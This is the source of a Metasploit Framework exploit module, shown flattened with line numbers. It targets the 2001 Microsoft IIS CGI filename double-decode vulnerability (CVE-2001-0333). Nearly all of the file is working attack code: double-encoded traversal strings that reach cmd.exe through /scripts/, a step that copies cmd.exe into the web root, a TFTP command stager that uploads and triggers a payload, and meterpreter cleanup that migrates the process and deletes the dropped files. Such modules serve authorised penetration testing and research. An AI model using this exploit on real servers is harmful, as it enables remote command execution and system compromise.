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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 | ## # $Id: ms01_026_dbldecode.rb 11513 2011-01-08 00:25:44Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex/proto/tftp' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking # NOTE: This cannot be an HttpClient module since the response from the server # is not a valid HttpResponse include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStagerTFTP def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft IIS/PWS CGI Filename Double Decode Command Execution', 'Description'=> %q{ This module will execute an arbitrary payload on a Microsoft IIS installation that is vulnerable to the CGI double-decode vulnerability of 2001. NOTE: This module will leave a metasploit payload in the IIS scripts directory. }, 'Author' => [ 'jduck' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 11513 $', 'References' => [ [ 'CVE', '2001-0333' ], [ 'OSVDB', '556' ], [ 'BID', '2708' ], [ 'MSB', 'MS01-026' ], [ 'URL', 'http://marc.info/?l=bugtraq&m=98992056521300&w=2' ] ], 'Platform' => 'win', 'Targets'=> [ [ 'Automatic', { } ] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'May 15 2001' )) register_options( [ Opt::RPORT(80), OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]), OptString.new('CMD', [ false, 'Execute this command instead of using command stager', nil ]) ], self.class) framework.events.add_exploit_subscriber(self) end def dotdotslash possibilities = [ "..%255c", "..%%35c", "..%%35%63", "..%25%35%63", ".%252e/", "%252e./", "%%32%65./", ".%%32%65/", ".%25%32%65/", "%25%32%65./" ] possibilities[rand(possibilities.length)] end def mini_http_request(opts, timeout=5) connect req = '' req << opts['method'] req << ' ' req << opts['uri'] req << ' ' req << "HTTP/1.0\r\n" req << "Host: #{datastore['RHOST']}\r\n" req << "\r\n" sock.put(req) # This isn't exactly awesome, but it seems to work.. begin headers = sock.get_once(-1, timeout) body = sock.get_once(-1, timeout) rescue ::EOFError # nothing end if (datastore['DEBUG']) print_status("Headers:\n" + headers.inspect) print_status("Body:\n" + body.inspect) end disconnect [headers, body] end def check res = execute_command("dir") if (res.kind_of?(Array)) body = res[1] if (body and body =~ /Directory of /) return Exploit::CheckCode::Vulnerable end end Exploit::CheckCode::Safe end # # NOTE: the command executes regardless of whether or not # a valid response is returned... # def execute_command(cmd, opts = {}) # Don't try the start command... # Using the "start" method doesn't seem to make iis very happy :( return [nil,nil] if cmd =~ /^start [a-zA-Z]+\.exe$/ print_status("Executing command: #{cmd}") uri = '/scripts/' exe = opts[:cgifname] if (not exe) uri << dotdotslash uri << dotdotslash uri << 'winnt/system32/cmd.exe' else uri << exe end uri << '?/x+/c+' uri << Rex::Text.uri_encode(cmd) if (datastore['VERBOSE']) print_status("Attemping to execute: #{uri}") end mini_http_request({ 'uri' => uri, 'method'=> 'GET', }, 20) end def exploit # first copy the file exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...") # NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory # However, it using %SystemRoot% doesn't seem to work :( res = execute_command("copy \\winnt\\system32\\cmd.exe #{exe_fname}") if (datastore['CMD']) res = execute_command(datastore['CMD'], { :cgifname => exe_fname }) if (res[0]) print_status("Command output:\n" + res[0]) else print_error("No output received") end res = execute_command("del #{exe_fname}") return end # Use the CMD stager to get a payload running execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname }) # Save these file names for later deletion @exe_cmd_copy = exe_fname @exe_payload = payload_exe # Just for good measure, we'll make a quick, direct request for the payload # Using the "start" method doesn't seem to make iis very happy :( print_status("Triggering the payload via a direct request...") mini_http_request({ 'uri' => '/scripts/' + payload_exe, 'method' => 'GET' }, 1) handler end # # The following handles deleting the copied cmd.exe and payload exe! # def on_new_session(client) if client.type != "meterpreter" print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.") print_error("The copied exe and the payload exe must be removed manually.") return end return if not @exe_cmd_copy # stdapi must be loaded before we can use fs.file client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") # Delete the copied CMD.exe print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...") client.fs.file.rm(@exe_cmd_copy) # Migrate sothat we can delete the payload exe client.console.run_single("run migrate -f") # Delete the payload exe return if not @exe_payload delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload print_status("Changing permissions on #{delete_me_too} ...") cmd = "C:\\winnt\\system32\\attrib.exe -r -h -s " + delete_me_too client.sys.process.execute(cmd, nil, {'Hidden' => true }) print_status("Deleting #{delete_me_too} ...") begin client.fs.file.rm(delete_me_too) rescue ::Exception => e print_error("Exception: #{e.inspect}") end end def cleanup framework.events.remove_exploit_subscriber(self) end end |
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